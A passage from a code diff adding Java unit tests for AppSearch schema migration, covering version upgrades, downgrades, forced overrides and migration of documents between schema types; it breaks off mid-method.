+                                .setMigrator("testSchema", INACTIVE_MIGRATOR) // ND
+                                .setForceOverride(true)
+                                .build())
+                .get();
+    }
+
+    @Test
+    public void testSchemaMigration_NA_B_C_D() throws Exception {
+        // create a backwards compatible schema and update the version
+        AppSearchSchema B_C_Schema =
+                new AppSearchSchema.Builder("testSchema")
+                        .addProperty(
+                                new AppSearchSchema.StringPropertyConfig.Builder("subject")
+                                        .setCardinality(
+                                                AppSearchSchema.PropertyConfig.CARDINALITY_OPTIONAL)
+                                        .setIndexingType(
+                                                AppSearchSchema.StringPropertyConfig
+                                                        .INDEXING_TYPE_PREFIXES)
+                                        .setTokenizerType(
+                                                AppSearchSchema.StringPropertyConfig
+                                                        .TOKENIZER_TYPE_PLAIN)
+                                        .build())
+                        .build();
+
+        mDb.setSchema(
+                        new SetSchemaRequest.Builder()
+                                .addSchemas(B_C_Schema)
+                                .setMigrator("testSchema", ACTIVE_NOOP_MIGRATOR)
+                                .setVersion(2) // upgrade version
+                                .build())
+                .get();
+    }
+
+    @Test
+    public void testSchemaMigration_NA_B_NC_D() throws Exception {
+        // create a backwards compatible schema but don't update the version
+        AppSearchSchema B_NC_Schema =
+                new AppSearchSchema.Builder("testSchema")
+                        .addProperty(
+                                new AppSearchSchema.StringPropertyConfig.Builder("subject")
+                                        .setCardinality(
+                                                AppSearchSchema.PropertyConfig.CARDINALITY_OPTIONAL)
+                                        .setIndexingType(
+                                                AppSearchSchema.StringPropertyConfig
+                                                        .INDEXING_TYPE_PREFIXES)
+                                        .setTokenizerType(
+                                                AppSearchSchema.StringPropertyConfig
+                                                        .TOKENIZER_TYPE_PLAIN)
+                                        .build())
+                        .build();
+
+        mDb.setSchema(
+                        new SetSchemaRequest.Builder()
+                                .addSchemas(B_NC_Schema)
+                                .setMigrator("testSchema", ACTIVE_NOOP_MIGRATOR)
+                                .setForceOverride(true)
+                                .build())
+                .get();
+    }
+
+    @Test
+    public void testSchemaMigration_NA_NB_C_D() throws Exception {
+        // create a backwards incompatible schema and update the version
+        AppSearchSchema NB_C_Schema = new AppSearchSchema.Builder("testSchema").build();
+
+        mDb.setSchema(
+                        new SetSchemaRequest.Builder()
+                                .addSchemas(NB_C_Schema)
+                                .setMigrator("testSchema", ACTIVE_NOOP_MIGRATOR)
+                                .setVersion(2) // upgrade version
+                                .build())
+                .get();
+    }
+
+    @Test
+    public void testSchemaMigration_NA_NB_C_ND() throws Exception {
+        // create a backwards incompatible schema and update the version
+        AppSearchSchema $B_C_Schema = new AppSearchSchema.Builder("testSchema").build();
+
+        ExecutionException exception =
+                expectThrows(
+                        ExecutionException.class,
+                        () ->
+                                mDb.setSchema(
+                                                new SetSchemaRequest.Builder()
+                                                        .addSchemas($B_C_Schema)
+                                                        .setMigrator(
+                                                                "testSchema",
+                                                                INACTIVE_MIGRATOR) // ND
+                                                        .setVersion(2) // upgrade version
+                                                        .build())
+                                        .get());
+        assertThat(exception).hasMessageThat().contains("Schema is incompatible.");
+    }
+
+    @Test
+    public void testSchemaMigration_NA_NB_NC_ND() throws Exception {
+        // create a backwards incompatible schema but don't update the version
+        AppSearchSchema $B_$C_Schema = new AppSearchSchema.Builder("testSchema").build();
+
+        ExecutionException exception =
+                expectThrows(
+                        ExecutionException.class,
+                        () ->
+                                mDb.setSchema(
+                                                new SetSchemaRequest.Builder()
+                                                        .addSchemas($B_$C_Schema)
+                                                        .setMigrator(
+                                                                "testSchema",
+                                                                INACTIVE_MIGRATOR) // ND
+                                                        .build())
+                                        .get());
+        assertThat(exception).hasMessageThat().contains("Schema is incompatible.");
+    }
+
+    @Test
+    public void testSchemaMigration() throws Exception {
+        AppSearchSchema schema =
+                new AppSearchSchema.Builder("testSchema")
+                        .addProperty(
+                                new AppSearchSchema.StringPropertyConfig.Builder("subject")
+                                        .setCardinality(
+                                                AppSearchSchema.PropertyConfig.CARDINALITY_REQUIRED)
+                                        .setIndexingType(
+                                                AppSearchSchema.StringPropertyConfig
+                                                        .INDEXING_TYPE_PREFIXES)
+                                        .setTokenizerType(
+                                                AppSearchSchema.StringPropertyConfig
+                                                        .TOKENIZER_TYPE_PLAIN)
+                                        .build())
+                        .addProperty(
+                                new AppSearchSchema.StringPropertyConfig.Builder("To")
+                                        .setCardinality(
+                                                AppSearchSchema.PropertyConfig.CARDINALITY_REQUIRED)
+                                        .setIndexingType(
+                                                AppSearchSchema.StringPropertyConfig
+                                                        .INDEXING_TYPE_PREFIXES)
+                                        .setTokenizerType(
+                                                AppSearchSchema.StringPropertyConfig
+                                                        .TOKENIZER_TYPE_PLAIN)
+                                        .build())
+                        .build();
+        mDb.setSchema(
+                        new SetSchemaRequest.Builder()
+                                .addSchemas(schema)
+                                .setForceOverride(true)
+                                .build())
+                .get();
+
+        GenericDocument doc1 =
+                new GenericDocument.Builder<>("namespace", "uri1", "testSchema")
+                        .setPropertyString("subject", "testPut example1")
+                        .setPropertyString("To", "testTo example1")
+                        .build();
+        GenericDocument doc2 =
+                new GenericDocument.Builder<>("namespace", "uri2", "testSchema")
+                        .setPropertyString("subject", "testPut example2")
+                        .setPropertyString("To", "testTo example2")
+                        .build();
+
+        AppSearchBatchResult<String, Void> result =
+                checkIsBatchResultSuccess(
+                        mDb.put(
+                                new PutDocumentsRequest.Builder()
+                                        .addGenericDocuments(doc1, doc2)
+                                        .build()));
+        assertThat(result.getSuccesses()).containsExactly("uri1", null, "uri2", null);
+        assertThat(result.getFailures()).isEmpty();
+
+        // create new schema type and upgrade the version number
+        AppSearchSchema newSchema =
+                new AppSearchSchema.Builder("testSchema")
+                        .addProperty(
+                                new AppSearchSchema.StringPropertyConfig.Builder("subject")
+                                        .setCardinality(
+                                                AppSearchSchema.PropertyConfig.CARDINALITY_OPTIONAL)
+                                        .setIndexingType(
+                                                AppSearchSchema.StringPropertyConfig
+                                                        .INDEXING_TYPE_PREFIXES)
+                                        .setTokenizerType(
+                                                AppSearchSchema.StringPropertyConfig
+                                                        .TOKENIZER_TYPE_PLAIN)
+                                        .build())
+                        .build();
+
+        // set the new schema to AppSearch, the first document will be migrated successfully but the
+        // second one will be failed.
+
+        Migrator migrator =
+                new Migrator() {
+                    @Override
+                    public boolean shouldMigrate(int currentVersion, int finalVersion) {
+                        return currentVersion != finalVersion;
+                    }
+
+                    @NonNull
+                    @Override
+                    public GenericDocument onUpgrade(
+                            int currentVersion,
+                            int finalVersion,
+                            @NonNull GenericDocument document) {
+                        if (document.getUri().equals("uri2")) {
+                            return new GenericDocument.Builder<>(
+                                            document.getNamespace(),
+                                            document.getUri(),
+                                            document.getSchemaType())
+                                    .setPropertyString("subject", "testPut example2")
+                                    .setPropertyString(
+                                            "to", "Expect to fail, property not in the schema")
+                                    .build();
+                        }
+                        return new GenericDocument.Builder<>(
+                                        document.getNamespace(),
+                                        document.getUri(),
+                                        document.getSchemaType())
+                                .setPropertyString("subject", "testPut example1 migrated")
+                                .setCreationTimestampMillis(DOCUMENT_CREATION_TIME)
+                                .build();
+                    }
+
+                    @NonNull
+                    @Override
+                    public GenericDocument onDowngrade(
+                            int currentVersion,
+                            int finalVersion,
+                            @NonNull GenericDocument document) {
+                        throw new IllegalStateException(
+                                "Downgrade should not be triggered for this test");
+                    }
+                };
+
+        SetSchemaResponse setSchemaResponse =
+                mDb.setSchema(
+                                new SetSchemaRequest.Builder()
+                                        .addSchemas(newSchema)
+                                        .setMigrator("testSchema", migrator)
+                                        .setVersion(2) // upgrade version
+                                        .build())
+                        .get();
+
+        // Check the schema has been saved
+        assertThat(mDb.getSchema().get().getSchemas()).containsExactly(newSchema);
+
+        assertThat(setSchemaResponse.getDeletedTypes()).isEmpty();
+        assertThat(setSchemaResponse.getIncompatibleTypes()).containsExactly("testSchema");
+        assertThat(setSchemaResponse.getMigratedTypes()).containsExactly("testSchema");
+
+        // Check migrate the first document is success
+        GenericDocument expected =
+                new GenericDocument.Builder<>("namespace", "uri1", "testSchema")
+                        .setPropertyString("subject", "testPut example1 migrated")
+                        .setCreationTimestampMillis(DOCUMENT_CREATION_TIME)
+                        .build();
+        assertThat(doGet(mDb, "namespace", "uri1")).containsExactly(expected);
+
+        // Check migrate the second document is fail.
+        assertThat(setSchemaResponse.getMigrationFailures()).hasSize(1);
+        SetSchemaResponse.MigrationFailure migrationFailure =
+                setSchemaResponse.getMigrationFailures().get(0);
+        assertThat(migrationFailure.getNamespace()).isEqualTo("namespace");
+        assertThat(migrationFailure.getSchemaType()).isEqualTo("testSchema");
+        assertThat(migrationFailure.getUri()).isEqualTo("uri2");
+    }
+
+    @Test
+    public void testSchemaMigration_downgrade() throws Exception {
+        AppSearchSchema schema =
+                new AppSearchSchema.Builder("testSchema")
+                        .addProperty(
+                                new AppSearchSchema.StringPropertyConfig.Builder("subject")
+                                        .setCardinality(
+                                                AppSearchSchema.PropertyConfig.CARDINALITY_REQUIRED)
+                                        .setIndexingType(
+                                                AppSearchSchema.StringPropertyConfig
+                                                        .INDEXING_TYPE_PREFIXES)
+                                        .setTokenizerType(
+                                                AppSearchSchema.StringPropertyConfig
+                                                        .TOKENIZER_TYPE_PLAIN)
+                                        .build())
+                        .addProperty(
+                                new AppSearchSchema.StringPropertyConfig.Builder("To")
+                                        .setCardinality(
+                                                AppSearchSchema.PropertyConfig.CARDINALITY_REQUIRED)
+                                        .setIndexingType(
+                                                AppSearchSchema.StringPropertyConfig
+                                                        .INDEXING_TYPE_PREFIXES)
+                                        .setTokenizerType(
+                                                AppSearchSchema.StringPropertyConfig
+                                                        .TOKENIZER_TYPE_PLAIN)
+                                        .build())
+                        .build();
+        mDb.setSchema(
+                        new SetSchemaRequest.Builder()
+                                .addSchemas(schema)
+                                .setForceOverride(true)
+                                .setVersion(3)
+                                .build())
+                .get();
+
+        GenericDocument doc1 =
+                new GenericDocument.Builder<>("namespace", "uri1", "testSchema")
+                        .setPropertyString("subject", "testPut example1")
+                        .setPropertyString("To", "testTo example1")
+                        .build();
+
+        AppSearchBatchResult<String, Void> result =
+                checkIsBatchResultSuccess(
+                        mDb.put(
+                                new PutDocumentsRequest.Builder()
+                                        .addGenericDocuments(doc1)
+                                        .build()));
+        assertThat(result.getSuccesses()).containsExactly("uri1", null);
+        assertThat(result.getFailures()).isEmpty();
+
+        // create new schema type and upgrade the version number
+        AppSearchSchema newSchema =
+                new AppSearchSchema.Builder("testSchema")
+                        .addProperty(
+                                new AppSearchSchema.StringPropertyConfig.Builder("subject")
+                                        .setCardinality(
+                                                AppSearchSchema.PropertyConfig.CARDINALITY_OPTIONAL)
+                                        .setIndexingType(
+                                                AppSearchSchema.StringPropertyConfig
+                                                        .INDEXING_TYPE_PREFIXES)
+                                        .setTokenizerType(
+                                                AppSearchSchema.StringPropertyConfig
+                                                        .TOKENIZER_TYPE_PLAIN)
+                                        .build())
+                        .build();
+
+        // set the new schema to AppSearch
+        Migrator migrator =
+                new Migrator() {
+                    @Override
+                    public boolean shouldMigrate(int currentVersion, int finalVersion) {
+                        return currentVersion != finalVersion;
+                    }
+
+                    @NonNull
+                    @Override
+                    public GenericDocument onUpgrade(
+                            int currentVersion,
+                            int finalVersion,
+                            @NonNull GenericDocument document) {
+                        throw new IllegalStateException(
+                                "Upgrade should not be triggered for this test");
+                    }
+
+                    @NonNull
+                    @Override
+                    public GenericDocument onDowngrade(
+                            int currentVersion,
+                            int finalVersion,
+                            @NonNull GenericDocument document) {
+                        return new GenericDocument.Builder<>(
+                                        document.getNamespace(),
+                                        document.getUri(),
+                                        document.getSchemaType())
+                                .setPropertyString("subject", "testPut example1 migrated")
+                                .setCreationTimestampMillis(DOCUMENT_CREATION_TIME)
+                                .build();
+                    }
+                };
+
+        SetSchemaResponse setSchemaResponse =
+                mDb.setSchema(
+                                new SetSchemaRequest.Builder()
+                                        .addSchemas(newSchema)
+                                        .setMigrator("testSchema", migrator)
+                                        .setVersion(1) // downgrade version
+                                        .build())
+                        .get();
+
+        // Check the schema has been saved
+        assertThat(mDb.getSchema().get().getSchemas()).containsExactly(newSchema);
+
+        assertThat(setSchemaResponse.getDeletedTypes()).isEmpty();
+        assertThat(setSchemaResponse.getIncompatibleTypes()).containsExactly("testSchema");
+        assertThat(setSchemaResponse.getMigratedTypes()).containsExactly("testSchema");
+
+        // Check migrate is success
+        GenericDocument expected =
+                new GenericDocument.Builder<>("namespace", "uri1", "testSchema")
+                        .setPropertyString("subject", "testPut example1 migrated")
+                        .setCreationTimestampMillis(DOCUMENT_CREATION_TIME)
+                        .build();
+        assertThat(doGet(mDb, "namespace", "uri1")).containsExactly(expected);
+    }
+
+    @Test
+    public void testSchemaMigration_sameVersion() throws Exception {
+        AppSearchSchema schema =
+                new AppSearchSchema.Builder("testSchema")
+                        .addProperty(
+                                new AppSearchSchema.StringPropertyConfig.Builder("subject")
+                                        .setCardinality(
+                                                AppSearchSchema.PropertyConfig.CARDINALITY_REQUIRED)
+                                        .setIndexingType(
+                                                AppSearchSchema.StringPropertyConfig
+                                                        .INDEXING_TYPE_PREFIXES)
+                                        .setTokenizerType(
+                                                AppSearchSchema.StringPropertyConfig
+                                                        .TOKENIZER_TYPE_PLAIN)
+                                        .build())
+                        .addProperty(
+                                new AppSearchSchema.StringPropertyConfig.Builder("To")
+                                        .setCardinality(
+                                                AppSearchSchema.PropertyConfig.CARDINALITY_REQUIRED)
+                                        .setIndexingType(
+                                                AppSearchSchema.StringPropertyConfig
+                                                        .INDEXING_TYPE_PREFIXES)
+                                        .setTokenizerType(
+                                                AppSearchSchema.StringPropertyConfig
+                                                        .TOKENIZER_TYPE_PLAIN)
+                                        .build())
+                        .build();
+        mDb.setSchema(
+                        new SetSchemaRequest.Builder()
+                                .addSchemas(schema)
+                                .setForceOverride(true)
+                                .setVersion(3)
+                                .build())
+                .get();
+
+        GenericDocument doc1 =
+                new GenericDocument.Builder<>("namespace", "uri1", "testSchema")
+                        .setPropertyString("subject", "testPut example1")
+                        .setPropertyString("To", "testTo example1")
+                        .build();
+
+        AppSearchBatchResult<String, Void> result =
+                checkIsBatchResultSuccess(
+                        mDb.put(
+                                new PutDocumentsRequest.Builder()
+                                        .addGenericDocuments(doc1)
+                                        .build()));
+        assertThat(result.getSuccesses()).containsExactly("uri1", null);
+        assertThat(result.getFailures()).isEmpty();
+
+        // create new schema type with the same version number
+        AppSearchSchema newSchema =
+                new AppSearchSchema.Builder("testSchema")
+                        .addProperty(
+                                new AppSearchSchema.StringPropertyConfig.Builder("subject")
+                                        .setCardinality(
+                                                AppSearchSchema.PropertyConfig.CARDINALITY_OPTIONAL)
+                                        .setIndexingType(
+                                                AppSearchSchema.StringPropertyConfig
+                                                        .INDEXING_TYPE_PREFIXES)
+                                        .setTokenizerType(
+                                                AppSearchSchema.StringPropertyConfig
+                                                        .TOKENIZER_TYPE_PLAIN)
+                                        .build())
+                        .build();
+
+        // set the new schema to AppSearch
+        Migrator migrator =
+                new Migrator() {
+
+                    @Override
+                    public boolean shouldMigrate(int currentVersion, int finalVersion) {
+                        return currentVersion != finalVersion;
+                    }
+
+                    @NonNull
+                    @Override
+                    public GenericDocument onUpgrade(
+                            int currentVersion,
+                            int finalVersion,
+                            @NonNull GenericDocument document) {
+                        throw new IllegalStateException(
+                                "Upgrade should not be triggered for this test");
+                    }
+
+                    @NonNull
+                    @Override
+                    public GenericDocument onDowngrade(
+                            int currentVersion,
+                            int finalVersion,
+                            @NonNull GenericDocument document) {
+                        throw new IllegalStateException(
+                                "Downgrade should not be triggered for this test");
+                    }
+                };
+
+        // SetSchema with forceOverride=false
+        ExecutionException exception =
+                expectThrows(
+                        ExecutionException.class,
+                        () ->
+                                mDb.setSchema(
+                                                new SetSchemaRequest.Builder()
+                                                        .addSchemas(newSchema)
+                                                        .setMigrator("testSchema", migrator)
+                                                        .setVersion(3) // same version
+                                                        .build())
+                                        .get());
+        assertThat(exception).hasMessageThat().contains("Schema is incompatible.");
+
+        // SetSchema with forceOverride=true
+        SetSchemaResponse setSchemaResponse =
+                mDb.setSchema(
+                                new SetSchemaRequest.Builder()
+                                        .addSchemas(newSchema)
+                                        .setMigrator("testSchema", migrator)
+                                        .setVersion(3) // same version
+                                        .setForceOverride(true)
+                                        .build())
+                        .get();
+
+        assertThat(mDb.getSchema().get().getSchemas()).containsExactly(newSchema);
+
+        assertThat(setSchemaResponse.getDeletedTypes()).isEmpty();
+        assertThat(setSchemaResponse.getIncompatibleTypes()).containsExactly("testSchema");
+        assertThat(setSchemaResponse.getMigratedTypes()).isEmpty();
+    }
+
+    @Test
+    public void testSchemaMigration_noMigration() throws Exception {
+        AppSearchSchema schema =
+                new AppSearchSchema.Builder("testSchema")
+                        .addProperty(
+                                new AppSearchSchema.StringPropertyConfig.Builder("subject")
+                                        .setCardinality(
+                                                AppSearchSchema.PropertyConfig.CARDINALITY_REQUIRED)
+                                        .setIndexingType(
+                                                AppSearchSchema.StringPropertyConfig
+                                                        .INDEXING_TYPE_PREFIXES)
+                                        .setTokenizerType(
+                                                AppSearchSchema.StringPropertyConfig
+                                                        .TOKENIZER_TYPE_PLAIN)
+                                        .build())
+                        .addProperty(
+                                new AppSearchSchema.StringPropertyConfig.Builder("To")
+                                        .setCardinality(
+                                                AppSearchSchema.PropertyConfig.CARDINALITY_REQUIRED)
+                                        .setIndexingType(
+                                                AppSearchSchema.StringPropertyConfig
+                                                        .INDEXING_TYPE_PREFIXES)
+                                        .setTokenizerType(
+                                                AppSearchSchema.StringPropertyConfig
+                                                        .TOKENIZER_TYPE_PLAIN)
+                                        .build())
+                        .build();
+        mDb.setSchema(
+                        new SetSchemaRequest.Builder()
+                                .addSchemas(schema)
+                                .setForceOverride(true)
+                                .setVersion(2)
+                                .build())
+                .get();
+
+        GenericDocument doc1 =
+                new GenericDocument.Builder<>("namespace", "uri1", "testSchema")
+                        .setPropertyString("subject", "testPut example1")
+                        .setPropertyString("To", "testTo example1")
+                        .build();
+
+        AppSearchBatchResult<String, Void> result =
+                checkIsBatchResultSuccess(
+                        mDb.put(
+                                new PutDocumentsRequest.Builder()
+                                        .addGenericDocuments(doc1)
+                                        .build()));
+        assertThat(result.getSuccesses()).containsExactly("uri1", null);
+        assertThat(result.getFailures()).isEmpty();
+
+        // create new schema type and upgrade the version number
+        AppSearchSchema newSchema =
+                new AppSearchSchema.Builder("testSchema")
+                        .addProperty(
+                                new AppSearchSchema.StringPropertyConfig.Builder("subject")
+                                        .setCardinality(
+                                                AppSearchSchema.PropertyConfig.CARDINALITY_OPTIONAL)
+                                        .setIndexingType(
+                                                AppSearchSchema.StringPropertyConfig
+                                                        .INDEXING_TYPE_PREFIXES)
+                                        .setTokenizerType(
+                                                AppSearchSchema.StringPropertyConfig
+                                                        .TOKENIZER_TYPE_PLAIN)
+                                        .build())
+                        .build();
+
+        // Set start version to be 3 means we won't trigger migration for 2.
+        Migrator migrator =
+                new Migrator() {
+
+                    @Override
+                    public boolean shouldMigrate(int currentVersion, int finalVersion) {
+                        return currentVersion > 2 && currentVersion != finalVersion;
+                    }
+
+                    @NonNull
+                    @Override
+                    public GenericDocument onUpgrade(
+                            int currentVersion,
+                            int finalVersion,
+                            @NonNull GenericDocument document) {
+                        throw new IllegalStateException(
+                                "Upgrade should not be triggered for this test");
+                    }
+
+                    @NonNull
+                    @Override
+                    public GenericDocument onDowngrade(
+                            int currentVersion,
+                            int finalVersion,
+                            @NonNull GenericDocument document) {
+                        throw new IllegalStateException(
+                                "Downgrade should not be triggered for this test");
+                    }
+                };
+
+        // SetSchema with forceOverride=false
+        ExecutionException exception =
+                expectThrows(
+                        ExecutionException.class,
+                        () ->
+                                mDb.setSchema(
+                                                new SetSchemaRequest.Builder()
+                                                        .addSchemas(newSchema)
+                                                        .setMigrator("testSchema", migrator)
+                                                        .setVersion(4) // upgrade version
+                                                        .build())
+                                        .get());
+        assertThat(exception).hasMessageThat().contains("Schema is incompatible.");
+    }
+
+    @Test
+    public void testSchemaMigration_sourceToNowhere() throws Exception {
+        // set the source schema to AppSearch
+        AppSearchSchema schema = new AppSearchSchema.Builder("sourceSchema").build();
+        mDb.setSchema(
+                        new SetSchemaRequest.Builder()
+                                .addSchemas(schema)
+                                .setForceOverride(true)
+                                .build())
+                .get();
+
+        // save a doc to the source type
+        GenericDocument doc =
+                new GenericDocument.Builder<>("namespace", "uri1", "sourceSchema")
+                        .setCreationTimestampMillis(DOCUMENT_CREATION_TIME)
+                        .build();
+        AppSearchBatchResult<String, Void> result =
+                checkIsBatchResultSuccess(
+                        mDb.put(
+                                new PutDocumentsRequest.Builder()
+                                        .addGenericDocuments(doc)
+                                        .build()));
+        assertThat(result.getSuccesses()).containsExactly("uri1", null);
+        assertThat(result.getFailures()).isEmpty();
+
+        Migrator migrator_sourceToNowhere =
+                new Migrator() {
+                    @Override
+                    public boolean shouldMigrate(int currentVersion, int finalVersion) {
+                        return true;
+                    }
+
+                    @NonNull
+                    @Override
+                    public GenericDocument onUpgrade(
+                            int currentVersion,
+                            int finalVersion,
+                            @NonNull GenericDocument document) {
+                        return new GenericDocument.Builder<>(
+                                        "zombieNamespace", "zombieUri", "nonExistSchema")
+                                .build();
+                    }
+
+                    @NonNull
+                    @Override
+                    public GenericDocument onDowngrade(
+                            int currentVersion,
+                            int finalVersion,
+                            @NonNull GenericDocument document) {
+                        return document;
+                    }
+                };
+
+        // SetSchema with forceOverride=false
+        // Source type exist, destination type doesn't exist.
+        ExecutionException exception =
+                expectThrows(
+                        ExecutionException.class,
+                        () ->
+                                mDb.setSchema(
+                                                new SetSchemaRequest.Builder()
+                                                        .setMigrator(
+                                                                "sourceSchema",
+                                                                migrator_sourceToNowhere)
+                                                        .setVersion(2)
+                                                        .build()) // upgrade version
+                                        .get());
+        assertThat(exception)
+                .hasMessageThat()
+                .contains(
+                        "Receive a migrated document with schema type: nonExistSchema. "
+                                + "But the schema types doesn't exist in the request");
+
+        // SetSchema with forceOverride=true
+        // Source type exist, destination type doesn't exist.
+        exception =
+                expectThrows(
+                        ExecutionException.class,
+                        () ->
+                                mDb.setSchema(
+                                                new SetSchemaRequest.Builder()
+                                                        .setMigrator(
+                                                                "sourceSchema",
+                                                                migrator_sourceToNowhere)
+                                                        .setForceOverride(true)
+                                                        .setVersion(2)
+                                                        .build()) // upgrade version
+                                        .get());
+        assertThat(exception)
+                .hasMessageThat()
+                .contains(
+                        "Receive a migrated document with schema type: nonExistSchema. "
+                                + "But the schema types doesn't exist in the request");
+    }
+
+    @Test
+    public void testSchemaMigration_nowhereToDestination() throws Exception {
+        // set the destination schema to AppSearch
+        AppSearchSchema destinationSchema =
+                new AppSearchSchema.Builder("destinationSchema").build();
+        mDb.setSchema(
+                        new SetSchemaRequest.Builder()
+                                .addSchemas(destinationSchema)
+                                .setForceOverride(true)
+                                .build())
+                .get();
+
+        Migrator migrator_nowhereToDestination =
+                new Migrator() {
+                    @Override
+                    public boolean shouldMigrate(int currentVersion, int finalVersion) {
+                        return true;
+                    }
+
+                    @NonNull
+                    @Override
+                    public GenericDocument onUpgrade(
+                            int currentVersion,
+                            int finalVersion,
+                            @NonNull GenericDocument document) {
+                        return document;
+                    }
+
+                    @NonNull
+                    @Override
+                    public GenericDocument onDowngrade(
+                            int currentVersion,
+                            int finalVersion,
+                            @NonNull GenericDocument document) {
+                        return document;
+                    }
+                };
+
+        // Source type doesn't exist, destination type exist. Since source type doesn't exist,
+        // no matter force override or not, the migrator won't be invoked
+        // SetSchema with forceOverride=false
+        SetSchemaResponse setSchemaResponse =
+                mDb.setSchema(
+                                new SetSchemaRequest.Builder()
+                                        .addSchemas(destinationSchema)
+                                        .setMigrator(
+                                                "nonExistSchema", migrator_nowhereToDestination)
+                                        .setVersion(2) //  upgrade version
+                                        .build())
+                        .get();
+        assertThat(setSchemaResponse.getMigratedTypes()).isEmpty();
+
+        // SetSchema with forceOverride=true
+        setSchemaResponse =
+                mDb.setSchema(
+                                new SetSchemaRequest.Builder()
+                                        .addSchemas(destinationSchema)
+                                        .setMigrator(
+                                                "nonExistSchema", migrator_nowhereToDestination)
+                                        .setVersion(2) //  upgrade version
+                                        .setForceOverride(true)
+                                        .build())
+                        .get();
+        assertThat(setSchemaResponse.getMigratedTypes()).isEmpty();
+    }
+
+    @Test
+    public void testSchemaMigration_nowhereToNowhere() throws Exception {
+        // set empty schema
+        mDb.setSchema(new SetSchemaRequest.Builder().setForceOverride(true).build()).get();
+        Migrator migrator_nowhereToNowhere =
+                new Migrator() {
+                    @Override
+                    public boolean shouldMigrate(int currentVersion, int finalVersion) {
+                        return true;
+                    }
+
+                    @NonNull
+                    @Override
+                    public GenericDocument onUpgrade(
+                            int currentVersion,
+                            int finalVersion,
+                            @NonNull GenericDocument document) {
+                        return document;
+                    }
+
+                    @NonNull
+                    @Override
+                    public GenericDocument onDowngrade(
+                            int currentVersion,
+                            int finalVersion,
+                            @NonNull GenericDocument document) {
+                        return document;
+                    }
+                };
+
+        // Source type doesn't exist, destination type exist. Since source type doesn't exist,
+        // no matter force override or not, the migrator won't be invoked
+        // SetSchema with forceOverride=false
+        SetSchemaResponse setSchemaResponse =
+                mDb.setSchema(
+                                new SetSchemaRequest.Builder()
+                                        .setMigrator("nonExistSchema", migrator_nowhereToNowhere)
+                                        .setVersion(2) //  upgrade version
+                                        .build())
+                        .get();
+        assertThat(setSchemaResponse.getMigratedTypes()).isEmpty();
+
+        // SetSchema with forceOverride=true
+        setSchemaResponse =
+                mDb.setSchema(
+                                new SetSchemaRequest.Builder()
+                                        .setMigrator("nonExistSchema", migrator_nowhereToNowhere)
+                                        .setVersion(2) //  upgrade version
+                                        .setForceOverride(true)
+                                        .build())
+                        .get();
+        assertThat(setSchemaResponse.getMigratedTypes()).isEmpty();
+    }
+
+    @Test
+    public void testSchemaMigration_toAnotherType() throws Exception {
+        // set the source schema to AppSearch
+        AppSearchSchema sourceSchema = new AppSearchSchema.Builder("sourceSchema").build();
+        mDb.setSchema(
+                        new SetSchemaRequest.Builder()
+                                .addSchemas(sourceSchema)
+                                .setForceOverride(true)
+                                .build())
+                .get();
+
+        // save a doc to the source type
+        GenericDocument doc =
+                new GenericDocument.Builder<>("namespace", "uri1", "sourceSchema").build();
+        AppSearchBatchResult<String, Void> result =
+                checkIsBatchResultSuccess(
+                        mDb.put(
+                                new PutDocumentsRequest.Builder()
+                                        .addGenericDocuments(doc)
+                                        .build()));
+        assertThat(result.getSuccesses()).containsExactly("uri1", null);
+        assertThat(result.getFailures()).isEmpty();
+
+        // create the destination type and migrator
+        AppSearchSchema destinationSchema =
+                new AppSearchSchema.Builder("destinationSchema").build();
+        Migrator migrator =
+                new Migrator() {
+                    @Override
+                    public boolean shouldMigrate(int currentVersion, int finalVersion) {
+                        return true;
+                    }
+
+                    @NonNull
+                    @Override
+                    public GenericDocument onUpgrade(
+                            int currentVersion,
+                            int finalVersion,
+                            @NonNull GenericDocument document) {
+                        return new GenericDocument.Builder<>(
+                                        "namespace", document.getUri(), "destinationSchema")
+                                .setCreationTimestampMillis(DOCUMENT_CREATION_TIME)
+                                .build();
+                    }
+
+                    @NonNull
+                    @Override
+                    public GenericDocument onDowngrade(
+                            int currentVersion,
+                            int finalVersion,
+                            @NonNull GenericDocument document) {
+                        return document;
+                    }
+                };
+
+        // SetSchema with forceOverride=false and increase overall version
+        SetSchemaResponse setSchemaResponse =
+                mDb.setSchema(
+                                new SetSchemaRequest.Builder()
+                                        .addSchemas(destinationSchema)
+                                        .setMigrator("sourceSchema", migrator)
+                                        .setForceOverride(false)
+                                        .setVersion(2) //  upgrade version
+                                        .build())
+                        .get();
+        assertThat(setSchemaResponse.getDeletedTypes()).containsExactly("sourceSchema");
+        assertThat(setSchemaResponse.getIncompatibleTypes()).isEmpty();
+        assertThat(setSchemaResponse.getMigratedTypes()).containsExactly("sourceSchema");
+
+        // Check successfully migrate the doc to the destination type
+        GenericDocument expected =
+                new GenericDocument.Builder<>("namespace", "uri1", "destinationSchema")
+                        .setCreationTimestampMillis(DOCUMENT_CREATION_TIME)
+                        .build();
+        assertThat(doGet(mDb, "namespace", "uri1")).containsExactly(expected);
+    }
+
+    @Test
+    public void testSchemaMigration_toMultipleDestinationType() throws Exception {
+        // set the source schema to AppSearch
+        AppSearchSchema sourceSchema =
+                new AppSearchSchema.Builder("Person")
+                        .addProperty(
+                                new AppSearchSchema.Int64PropertyConfig.Builder("Age")
+                                        .setCardinality(
+                                                AppSearchSchema.PropertyConfig.CARDINALITY_REQUIRED)
+                                        .build())
+                        .build();
+        mDb.setSchema(
+                        new SetSchemaRequest.Builder()
+                                .addSchemas(sourceSchema)
+                                .setForceOverride(true)
+                                .build())
+                .get();
+
+        // save a child and an adult to the Person type
+        GenericDocument childDoc =
+                new GenericDocument.Builder<>("namespace", "Person1", "Person")
+                        .setPropertyLong("Age", 6)
+                        .build();
+        GenericDocument adultDoc =
+                new GenericDocument.Builder<>("namespace", "Person2", "Person")
+                        .setPropertyLong("Age", 36)
+                        .build();
+        AppSearchBatchResult<String, Void> result =
+                checkIsBatchResultSuccess(
+                        mDb.put(
+                                new PutDocumentsRequest.Builder()
+                                        .addGenericDocuments(childDoc, adultDoc)
+                                        .build()));
+        assertThat(result.getSuccesses()).containsExactly("Person1", null, "Person2", null);
+        assertThat(result.getFailures()).isEmpty();
+
+        // create the migrator
+        Migrator migrator =
+                new Migrator() {
+                    @Override
+                    public boolean shouldMigrate(int currentVersion, int finalVersion) {
+                        return true;
+                    }
+
+                    @NonNull
+                    @Override
+                    public GenericDocument onUpgrade(
+                            int currentVersion,
+                            int finalVersion,
+                            @NonNull GenericDocument document) {
+                        if (document.getPropertyLong("Age") < 21) {
+                            return new GenericDocument.Builder<>("namespace", "child-uri", "Child")
+                                    .setPropertyLong("Age", document.getPropertyLong("Age"))
